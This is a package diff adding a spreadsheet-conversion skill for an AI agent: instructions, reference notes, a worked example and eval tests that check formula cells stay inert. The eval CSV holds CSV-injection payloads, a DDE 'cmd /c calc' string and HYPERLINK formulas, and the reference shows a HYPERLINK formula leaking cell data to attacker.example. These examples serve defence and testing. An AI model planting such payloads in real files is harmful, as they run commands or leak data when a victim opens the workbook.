skilldrop-cli 0.16.3__py3-none-any.whl

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/SKILL.md

@@ -0,0 +1,120 @@
+---
+name: md-to-xlsx
+description: Turn the tables in a Markdown file, a CSV or a JSON array into an Excel workbook (.xlsx) that finance, ops or a client can sort, filter and sum, with one sheet per table named from its heading, real numbers, percentages, currency and dates instead of text, a bold frozen header row with filters, sensible column widths, and formulas left inert unless asked for. Use when the user wants a spreadsheet from Markdown tables or data, says "put this in Excel", "convert the CSV to xlsx", "give finance a spreadsheet", or "turn this JSON into a sheet".
+---
+
+# md-to-xlsx
+
+You turn tabular data into a `.xlsx` workbook that behaves like one somebody built by hand:
+numbers add up, dates sort, percentages show as percentages, and the header row stays put
+with a filter on it. The script does the conversion with the Python standard library, so there
+is nothing to install. Your job is to get the tables into shape, choose the flags, and tell
+the user what was typed how. For prose documents, `md-to-docx` makes the Word version.
+
+## How to respond
+
+1. **Ask once for what's missing.** You need the data: a `.md`, `.csv`, `.tsv` or `.json`
+   path, or tables pasted in the chat (save them to a `.md` file). If the user has only prose
+   with numbers in it, build the pipe tables first and show them before converting.
+
+   > To build the workbook, I need:
+   > 1. **The data:** a file path (Markdown with tables, CSV or JSON), or paste it. *(required)*
+   > 2. **Formulas:** if some cells start with `=`, should they calculate? *Default: no, they're kept as text.*
+
+2. **Prepare the source.** Fix what would convert badly, in a copy, and list each change:
+   - **Give every table a short heading right above it.** That heading becomes the sheet name.
+     Excel allows 31 characters and no `[ ] : * ? / \`, and names must be unique. The script
+     enforces this, but "Renewals due Q4–Q1" beats a name it had to cut down.
+   - **Two tables under the same heading** become "Name" and "Name (2)". Give each its own heading.
+   - **One header row only.** A merged two-row header doesn't exist in a pipe table; flatten
+     it to "Q3 spend", "Q3 change".
+   - **Keep units out of number cells.** Write `1,240` in a column headed "Spend (k$)", not
+     `1,240k$`, or the cell stays text.
+   - **European number formats** (`1.234,50`) stay text. Convert them to `1234.50` first, or tell
+     the user those columns won't sum.
+
+3. **Convert.**
+
+   ```bash
+   # Claude Code
+   python3 "${CLAUDE_SKILL_DIR}/scripts/md_to_xlsx.py" review.md -o review.xlsx
+   # Other IDEs (from the skill folder)
+   python3 scripts/md_to_xlsx.py review.md -o review.xlsx
+   ```
+
+   Options: `--title "..."` sets the title in File > Properties. `--formulas` writes cells
+   starting with `=` as live formulas. Use it only when the user wrote those formulas or trusts
+   the source. A formula from an export, a form or a scraped page can run `HYPERLINK` or
+   `WEBSERVICE` calls that leak data when the file is opened. OWASP calls this CSV injection.
+
+4. **Read the summary and every `WARN` line.** The script prints one line per sheet with its
+   size and how many cells became numbers, dates, booleans and text. Check that the counts match
+   what the data should be. If a column of amounts shows up as text, a stray unit or a European
+   decimal is the usual cause: fix it and rerun. Report renamed sheets, padded rows and
+   formula cells to the user.
+
+5. **Check that it opens.** Reopen it with Python's `zipfile` and parse each XML part, or on a
+   Mac run `qlmanage -t review.xlsx` for a preview. Open it in LibreOffice or Excel when one is
+   installed.
+
+6. **Hand over the file with three lines:** where it is, one line per sheet (name, rows,
+   columns), and anything kept as text that the user might expect to be a number.
+
+**Non-interactive runs** (subagent, CI, headless): with no data there is nothing to convert.
+Emit `BLOCKED: need the table data (a .md, .csv or .json file, or pasted tables)` and write
+nothing. Formulas stay off unless the request says otherwise, noted as an `[assumption]`.
+
+## How cells are typed
+
+| Cell text | In Excel |
+|---|---|
+| `1240`, `-3.5`, `1,240,500`, `1.2e6` | Number. Thousands separators keep a `#,##0` format |
+| `12.5%`, `-4%` | Number 0.125, -0.04, shown as a percentage with the same decimals |
+| `$1,240.00`, `£86`, `€9.50` | Number with that currency format |
+| `2026-09-30`, `2026-09-30T14:30` | Date or date-time, shown `yyyy-mm-dd` (time zone offsets dropped, with a warning) |
+| `true`, `FALSE` | Boolean |
+| `00412`, `02134` (leading zero), 16+ digit numbers | **Text**, because Excel would strip the zero or round the digits |
+| `=SUM(B2:B5)` | **Text** by default; a live formula with `--formulas` |
+| Anything else, including `n/a`, `1.234,50`, `30/09/2026` | Text |
+
+In Markdown cells, `**bold**`, `` `code` ``, links and images are reduced to their text, and
+`<br>` becomes a line break inside a wrapped cell. JSON numbers and booleans keep their type,
+except integers over 15 digits, which become text.
+JSON strings stay text except ISO dates, because whoever produced the JSON chose a string.
+
+## Useful references in this skill
+
+- [`reference.md`](reference.md): typing rules in full, sheet-name rules, the workbook parts written, and Excel's limits
+- [`scripts/md_to_xlsx.py`](scripts/md_to_xlsx.py): the converter (stdlib only, Python 3.9+)
+- [`examples/vendor-review.md`](examples/vendor-review.md): worked example, three Markdown tables become three typed sheets after the headings are fixed
+
+## Quality bar
+
+- **Numbers are numbers.** Amounts, counts and percentages sum and sort in Excel. The per-sheet counts in the summary back this up.
+- **Identifiers keep their zeros.** Vendor IDs, ZIP codes and account numbers come out exactly as written.
+- **Every sheet name means something.** Named from the table's heading, not "Table 3", and no name cut down by the script without you saying so.
+- **Formulas are off unless the user chose them,** and the reason is given when a cell starting with `=` is kept as text.
+- **No data changes.** You fix headings, units and number formats, but never a value: no rounding, no filled-in blanks, no invented rows.
+- **The header row is bold, frozen and filtered** on every sheet, and the file was reopened to check.
+
+## When to use this skill
+
+- ✅ Markdown tables from a report or an agent's analysis that someone needs to work with in Excel
+- ✅ A CSV export that should open with proper number and date types instead of Excel's guesses
+- ✅ A JSON array from an API or a script, as a sheet a non-developer can filter
+
+## When NOT to use this skill
+
+- ❌ A document with a few tables in it, to be read rather than calculated; use `md-to-docx`
+- ❌ An Excel file back to Markdown or CSV; use `file-to-markdown`
+- ❌ Charts or a slide of numbers for a meeting; use `deck-builder`
+- ❌ Building a financial model with formulas, scenarios and linked sheets. This converts data; it doesn't design models.
+
+## Anti-patterns to avoid
+
+- ❌ **Turning on `--formulas` for an export or a scraped table** because "it had formulas in it". That's exactly the file formula injection comes in.
+- ❌ **Letting the script name sheets "Table 1", "Table 2".** Add a heading above each table; it takes ten seconds.
+- ❌ **Typing `1,240k` or `3.4 h` in number columns.** Put the unit in the header so the column is numeric.
+- ❌ **"Fixing" leading zeros** by converting IDs to numbers. `00412` and `412` are different vendors.
+- ❌ **Skipping the per-sheet counts.** "8 numbers, 13 text" on a sheet of amounts is the tell that a column didn't convert.
+- ❌ **Filling blanks with 0 or "N/A"** to make a column look complete. Empty stays empty.

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/evals/eval_queries.json

@@ -0,0 +1,9 @@
+[
+  { "query": "Put these markdown tables into an Excel file", "should_trigger": true },
+  { "query": "Convert vendors.csv to xlsx with proper number and date columns", "should_trigger": true },
+  { "query": "Finance needs this JSON export as a spreadsheet they can filter", "should_trigger": true },
+  { "query": "Make each table in this report its own sheet in a workbook", "should_trigger": true },
+  { "query": "Convert this markdown report to a Word document for legal", "should_trigger": false },
+  { "query": "Turn the Excel file the client sent into a markdown table", "should_trigger": false },
+  { "query": "Make a slide with a bar chart of these quarterly numbers", "should_trigger": false }
+]

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/evals/evals.json

@@ -0,0 +1,28 @@
+{
+  "skill_name": "md-to-xlsx",
+  "evals": [
+    {
+      "id": 1,
+      "prompt": "Acme finance wants this in Excel: exports/northwind-invoices.csv. It's semicolon-separated, has invoice IDs like 000731, amounts like $12,400.00, due dates like 2026-11-15, a Paid column of TRUE/FALSE, and a Notes column where a few customers typed things starting with =.",
+      "assertions": [
+        "Runs md_to_xlsx.py on the CSV and writes a .xlsx",
+        "Leaves --formulas off and explains that cells starting with = from an export are kept as text because of formula injection",
+        "Reports that invoice IDs with leading zeros stay text so 000731 keeps its zeros",
+        "Reports the per-sheet summary (rows, columns, numbers, dates, booleans, text) and checks the amounts became numbers",
+        "Does not change, round or fill in any value from the CSV",
+        "Reopens or previews the workbook to confirm it opens, rather than relying on exit code 0"
+      ]
+    },
+    {
+      "id": 2,
+      "prompt": "Turn the tables in reports/q3-ops-review.md into a spreadsheet for Northwind's ops leads. There are four tables; two are under '## Results' and one has the heading '### Incidents by severity: P1 / P2 / P3 (Jul–Sep, all regions)'.",
+      "assertions": [
+        "Gives each table its own short heading before converting, so no sheet is named 'Results (2)' or cut off by the script",
+        "The incidents sheet name is 31 characters or fewer with no / or : in it",
+        "Lists every sheet with its name, rows and columns in the reply",
+        "Reports any WARN lines (renames, padded rows) with what was done about them",
+        "Does not invent rows, totals or values that are not in the Markdown"
+      ]
+    }
+  ]
+}

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/evals/files/1/exports/northwind-invoices.csv

@@ -0,0 +1,25 @@
+Invoice ID;Customer;Amount;Due date;Paid;Notes
+000731;Northwind Health;$199.99;2026-10-01;FALSE;
+000732;Fabrikam Clinics;$199.99;2026-11-06;TRUE;Net 30
+000733;Contoso Labs;$48,000.00;2026-12-11;TRUE;=SUM(C2:C9) please check
+000734;Adatum Care;$12,400.00;2026-10-16;FALSE;Second reminder sent
+000735;Tailspin Dental;$2,315.75;2026-11-21;TRUE;=HYPERLINK("http://pay.example","pay here")
+000736;Northwind Health;$48,000.00;2026-12-26;TRUE;
+000737;Fabrikam Clinics;$860.50;2026-10-03;FALSE;Disputed line 3
+000738;Contoso Labs;$199.99;2026-11-08;TRUE;=cmd|'/c calc'!A1
+000739;Adatum Care;$860.50;2026-12-13;TRUE;PO 4471
+000740;Tailspin Dental;$860.50;2026-10-18;FALSE;
+000741;Northwind Health;$2,315.75;2026-11-23;TRUE;
+000742;Fabrikam Clinics;$860.50;2026-12-28;TRUE;Net 30
+000743;Contoso Labs;$199.99;2026-10-05;FALSE;=SUM(C2:C9) please check
+000744;Adatum Care;$2,315.75;2026-11-10;TRUE;Second reminder sent
+000745;Tailspin Dental;$7,250.00;2026-12-15;TRUE;=HYPERLINK("http://pay.example","pay here")
+000746;Northwind Health;$12,400.00;2026-10-20;FALSE;
+000747;Fabrikam Clinics;$7,250.00;2026-11-25;TRUE;Disputed line 3
+000748;Contoso Labs;$860.50;2026-12-02;TRUE;=cmd|'/c calc'!A1
+000749;Adatum Care;$2,315.75;2026-10-07;FALSE;PO 4471
+000750;Tailspin Dental;$48,000.00;2026-11-12;TRUE;
+000751;Northwind Health;$12,400.00;2026-12-17;TRUE;
+000752;Fabrikam Clinics;$860.50;2026-10-22;FALSE;Net 30
+000753;Contoso Labs;$2,315.75;2026-11-27;TRUE;=SUM(C2:C9) please check
+000754;Adatum Care;$7,250.00;2026-12-04;TRUE;Second reminder sent

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/evals/files/2/reports/q3-ops-review.md

@@ -0,0 +1,32 @@
+# Q3 ops review
+
+## Results
+
+| Region | Tickets | Resolved | SLA met |
+|:--|--:|--:|--:|
+| North | 1,240 | 1,198 | 96.6% |
+| South | 980 | 941 | 93.1% |
+| East | 1,512 | 1,377 | 91.0% |
+| West | 644 | 640 | 99.4% |
+
+| Site ID | Site | Opened | Headcount |
+|:--|:--|:--|--:|
+| 00412 | Riverside | 2019-03-04 | 42 |
+| 00077 | Hilltop | 2021-11-15 | 18 |
+| 01250 | Harbour | 2024-06-01 | 27 |
+
+### Incidents by severity: P1 / P2 / P3 (Jul–Sep, all regions)
+
+| Month | P1 | P2 | P3 |
+|:--|--:|--:|--:|
+| July | 1 | 6 | 31 |
+| August | 3 | 9 | 28 |
+| September | 0 | 4 | 35 |
+
+## Costs
+
+| Item | Budget | Actual | Over budget |
+|:--|--:|--:|:--|
+| Overtime | $18,000 | $22,450 | true |
+| Contractors | $40,000 | $36,200 | false |
+| Tooling | $9,500 | $9,500 | false |

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/examples/vendor-review-input.md

@@ -0,0 +1,28 @@
+# Northwind vendor review, FY26
+
+Figures from the finance export on 2026-09-30. Owner: Procurement.
+
+## Spend by vendor
+
+| Vendor ID | Vendor | Category | FY26 spend | Change vs FY25 | Contract end | Preferred |
+|-----------|--------|----------|-----------:|---------------:|--------------|-----------|
+| 00412 | Acme Logistics | Freight | $1,240,500.00 | 12.5% | 2027-03-31 | true |
+| 00977 | Contoso Print | Marketing | $86,200.00 | -4% | 2026-12-31 | false |
+| 01203 | Fabrikam IT | Software | $412,000.00 | 31% | 2028-06-30 | true |
+| 01588 | Litware Catering | Facilities | $23,950.00 | 0% | n/a | false |
+
+## Renewals due: Q4 / Q1 (owner: Procurement & Legal team)
+
+| Vendor | Renewal date | Notice period (days) | Action |
+|--------|--------------|---------------------:|--------|
+| Contoso Print | 2026-12-31 | 60 | Re-tender |
+| Acme Logistics | 2027-03-31 | 90 | Renegotiate **rate card** |
+
+## Spend by vendor
+
+| Quarter | Total | Note |
+|---------|------:|------|
+| Q1 | 410,300 | =SUM(B2:B5) pasted from the old sheet |
+| Q2 | 455,120 | |
+| Q3 | 498,780 | late invoices from Fabrikam |
+| Q4 | 404,450 | forecast |

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/examples/vendor-review.md

@@ -0,0 +1,94 @@
+# Worked example: three Markdown tables become a typed, three-sheet workbook
+
+## Input given to the skill
+
+> Finance wants the vendor review tables in Excel so they can filter and total them. The file
+> is `vendor-review-input.md`.
+
+The source is [`vendor-review-input.md`](vendor-review-input.md): three pipe tables with
+5-digit vendor IDs that have leading zeros, dollar amounts, percentages, ISO dates, `true`/`false`,
+and an `=SUM(...)` pasted into a note. Two of the three tables sit under the same heading,
+`## Spend by vendor`, and one heading is 57 characters long.
+
+---
+
+## What the agent did
+
+**First run:**
+
+```
+$ python3 scripts/md_to_xlsx.py vendor-review-input.md -o vendor-review.xlsx
+WARN sheet name 'Renewals due: Q4 / Q1 (owner: Procurement & Legal team)' changed to 'Renewals due Q4 Q1' (Excel allows 31 characters, no []:*?/\, unique names)
+WARN sheet name 'Spend by vendor' changed to 'Spend by vendor (2)' (Excel allows 31 characters, no []:*?/\, unique names)
+WARN 1 cell(s) start with '=' and were written as text, not formulas; rerun with --formulas only if you trust the source
+wrote vendor-review.xlsx (3 sheets, 35 unique strings)
+  sheet "Spend by vendor" (table at line 7): 4 rows x 7 cols; 8 numbers, 3 dates, 4 booleans, 13 text
+  sheet "Renewals due Q4 Q1" (table at line 16): 2 rows x 4 cols; 2 numbers, 2 dates, 4 text
+  sheet "Spend by vendor (2)" (table at line 23): 4 rows x 3 cols; 4 numbers, 6 text
+3 warning(s): check them before sharing the workbook
+```
+
+The third table is quarterly totals, so "Spend by vendor (2)" is a copy-paste heading, not a
+second vendor table. **Fixed the headings in a copy** (`vendor-review-fixed.md`), leaving every
+value alone:
+
+```diff
+- ## Renewals due: Q4 / Q1 (owner: Procurement & Legal team)
++ ## Renewals due Q4–Q1
+  ...
+- ## Spend by vendor
++ ## Spend by quarter
+```
+
+The `=SUM(B2:B5)` sits in a free-text "Note" column, as a remark about the old sheet. It is
+not meant to calculate, so `--formulas` stays off.
+
+**Second run:**
+
+```
+$ python3 scripts/md_to_xlsx.py vendor-review-fixed.md -o vendor-review.xlsx --title "Northwind vendor review FY26"
+WARN 1 cell(s) start with '=' and were written as text, not formulas; rerun with --formulas only if you trust the source
+wrote vendor-review.xlsx (3 sheets, 35 unique strings)
+  sheet "Spend by vendor" (table at line 7): 4 rows x 7 cols; 8 numbers, 3 dates, 4 booleans, 13 text
+  sheet "Renewals due Q4–Q1" (table at line 16): 2 rows x 4 cols; 2 numbers, 2 dates, 4 text
+  sheet "Spend by quarter" (table at line 23): 4 rows x 3 cols; 4 numbers, 6 text
+1 warning(s): check them before sharing the workbook
+```
+
+**Checked the counts against the data.** "Spend by vendor" has 4 rows × 7 columns = 28 cells,
+and the counts add up to 28:
+- 8 numbers: 4 spend amounts and 4 percentage changes
+- 3 dates: contract ends, with `n/a` kept as text
+- 4 booleans: Preferred
+- 13 text: 4 IDs, 4 names, 4 categories and `n/a`
+
+The IDs are text, as they should be, because `00412` would otherwise lose its zeros.
+
+**Reopened the file** with `zipfile` and parsed every part with `xml.dom.minidom`: 11 parts,
+all well-formed. Row 2 of the first sheet reads back as:
+
+```xml
+<c r="D2" s="2"><v>1240500</v></c>   <!-- $1,240,500.00, format "$"#,##0.00 -->
+<c r="E2" s="3"><v>0.125</v></c>     <!-- 12.5%, format 0.0% -->
+<c r="F2" s="4"><v>46477</v></c>     <!-- 2027-03-31, format yyyy-mm-dd -->
+<c r="G2" t="b"><v>1</v></c>         <!-- TRUE -->
+```
+
+The frozen pane is `ySplit="1"` and the autofilter is `A1:G5`. A Quick Look preview shows
+`$1,240,500.00`, `12.5%` and `2027-03-31` as formatted values. Quick Look leaves boolean cells
+blank, which is a limitation of the previewer. Excel and LibreOffice show them as TRUE/FALSE.
+
+---
+
+## Reply to the user
+
+> Here's `vendor-review.xlsx`, with three sheets, each with a frozen header and filters:
+> - **Spend by vendor**: 4 vendors × 7 columns. Spend is in dollars, change is a percentage,
+>   contract end is a date and Preferred is TRUE/FALSE. Vendor IDs stay as text so `00412` keeps its zeros.
+> - **Renewals due Q4–Q1**: 2 rows. Notice period is a number of days.
+> - **Spend by quarter**: 4 quarters with totals as numbers.
+>
+> **Changed:** I renamed two headings so the sheet names fit Excel's 31-character limit and
+> the quarterly table isn't called "Spend by vendor (2)". **Not changed:** the note
+> `=SUM(B2:B5) pasted from the old sheet` is kept as text, not a live formula. Contract end for
+> Litware is `n/a` in the source, so that cell is text.

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/manifest.json

@@ -0,0 +1,33 @@
+{
+  "name": "md-to-xlsx",
+  "version": "0.1.1",
+  "description": "Turn the tables in a Markdown file, a CSV or a JSON array into an Excel workbook (.xlsx) that finance, ops or a client can sort, filter and sum, with one sheet per table named from its heading, real numbers, percentages, currency and dates instead of text, a bold frozen header row with filters, sensible column widths, and formulas left inert unless asked for. Use when the user wants a spreadsheet from Markdown tables or data, says \"put this in Excel\", \"convert the CSV to xlsx\", \"give finance a spreadsheet\", or \"turn this JSON into a sheet\".",
+  "entrypoint": "SKILL.md",
+  "deps": {
+    "npm": [],
+    "pip": []
+  },
+  "env": {
+    "required": [],
+    "optional": []
+  },
+  "related": [
+    "deck-builder",
+    "file-to-markdown",
+    "md-to-docx"
+  ],
+  "tags": [
+    "excel",
+    "xlsx",
+    "spreadsheet",
+    "csv",
+    "json",
+    "markdown",
+    "convert"
+  ],
+  "permissions": {"network": [], "commands": [], "files": "named-paths"},
+  "model": {
+    "tier": "standard",
+    "rationale": "A stdlib script types and writes the cells; the model shapes tables from the source (headings, units, one header row), decides whether formulas are safe to enable, and checks the per-sheet type counts against the data. Bounded, mostly mechanical judgment."
+  }
+}

skilldrop_cli/data/packs/converters/skills/md-to-xlsx/reference.md

@@ -0,0 +1,94 @@
+# md-to-xlsx reference
+
+How `scripts/md_to_xlsx.py` reads its input and types each cell, so you can predict the
+workbook and explain a warning without reading the script.
+
+## Inputs
+
+| Input | Sheets | Header |
+|---|---|---|
+| `.md`, `.markdown` | One per pipe table (a header row, then a `\|---\|` separator row). Tables inside fenced code blocks are skipped | The table's header row |
+| `.csv`, `.tsv` | One, named after the file | The first row. The delimiter is detected among `,` `;` tab and `\|`; `.tsv` is always tab |
+| `.json` array of objects | One, named after the file | The union of keys, in first-seen order. A missing key is an empty cell |
+| `.json` array of arrays | One | The first inner array |
+| `.json` object of arrays | One per key, named after the key | As above, per key |
+
+Files must be UTF-8 (a BOM is fine). From Excel, save CSVs as **CSV UTF-8**.
+
+## Typing rules, in the order they're tried
+
+1. Empty or whitespace: no cell written.
+2. Starts with `=` (and is longer than one character): a formula with `--formulas`, otherwise text.
+3. `true` / `false`, any case: boolean.
+4. ISO 8601 date `YYYY-MM-DD`, or date-time `YYYY-MM-DDTHH:MM[:SS[.fff]]` with an optional `Z`
+   or `±HH:MM`: an Excel date serial, formatted `yyyy-mm-dd`, `yyyy-mm-dd hh:mm` or
+   `yyyy-mm-dd hh:mm:ss`. Impossible dates (`2026-02-30`) and years before 1900 stay text.
+   Excel has no time zones, so the offset is dropped and the time is kept as written, with a warning.
+5. Number: optional sign, optional `$` `£` `€`, digits with optional `,` thousands groups, an
+   optional decimal part, an optional `%`. Plus scientific notation (`1.2e6`). Stays **text** when:
+   - the integer part has a leading zero and more than one digit (`007`, `02134`)
+   - it has more than 15 significant digits, the most Excel stores exactly
+   - it has both a currency sign and `%`
+6. Everything else: text. Text longer than 32,767 characters, Excel's cell limit, is cut, with a warning.
+
+Formats applied:
+
+| Source | Format code |
+|---|---|
+| `1,240` / `1,240.50` | `#,##0` / `#,##0.00` |
+| `12%` / `12.5%` | `0%` / `0.0%` (decimals follow the source) |
+| `$1,240.00` | `"$"#,##0.00` |
+| `1240`, `3.5` | General |
+
+**JSON** values keep their JSON type: numbers stay numbers, `true`/`false` stay booleans and
+`null` is empty. Strings go through steps 2 and 4 only (formulas and dates), never the number rule.
+Nested objects and arrays are written as JSON text, with a warning.
+
+**Markdown cells** are cleaned first: `**bold**`, `*italic*`, `` `code` ``, `~~strike~~`,
+links, images and HTML tags are reduced to their text, `\|` becomes `|`, and
+`<br>` becomes a line break in a wrapped cell. Links aren't kept as hyperlinks.
+
+## Why formulas are off by default
+
+A cell that starts with `=` (and in some apps `+`, `-` or `@`) is evaluated when the file is
+opened. A table from an export, a web form or a scraped page can carry formulas such as
+`=HYPERLINK("https://attacker.example/?d="&A2, "Click")` or `WEBSERVICE` calls that send cell
+contents elsewhere. OWASP documents this as CSV injection. Written as text, the same cell is
+inert: the user sees the formula and can retype it if they mean it. With `--formulas`, the
+workbook is marked to recalculate on open, because the script writes no cached results.
+
+## Sheet names
+
+Excel requires a sheet name to be 1 to 31 characters, with none of `[ ] : * ? / \`, not to
+start or end with an apostrophe, and to be unique regardless of case. "History" is reserved.
+The script:
+
+1. takes the nearest heading above the table (any level), with Markdown removed
+2. replaces forbidden characters with spaces and collapses whitespace
+3. cuts to 31 characters at a word boundary, without leaving half a parenthetical
+4. renames `History` to `History data`
+5. de-duplicates with ` (2)`, ` (3)`
+6. falls back to `Table N` when there is no heading, or to the file name for CSV and JSON
+
+Every rename prints a warning with the old and new names.
+
+## What every sheet gets
+
+- Header row in bold, on a light grey fill, with a thin bottom border
+- Header frozen (row 1 stays visible when scrolling)
+- An autofilter over the whole table, plus the hidden `_xlnm._FilterDatabase` name Excel expects
+- Column widths from the longest value in each column, between 8 and 60 characters
+- Rows shorter than the header padded with empty cells. Extra cells get a `Column N` header. Both are reported.
+
+## Package parts
+
+`xl/workbook.xml`, `xl/worksheets/sheetN.xml`, `xl/styles.xml` (number formats, two fonts,
+header fill and border), `xl/sharedStrings.xml` (every distinct string stored once),
+`docProps/core.xml` (title) and `docProps/app.xml`, plus the content types and relationships.
+
+## Limits and exit codes
+
+The script refuses more than 1,048,576 rows or 16,384 columns per sheet, which are Excel's limits.
+It exits `1` on bad input: file not found, not UTF-8, unsupported extension, no tables in a
+Markdown file, empty CSV, invalid JSON or JSON of the wrong shape, output not ending in
+`.xlsx`, or a missing output folder.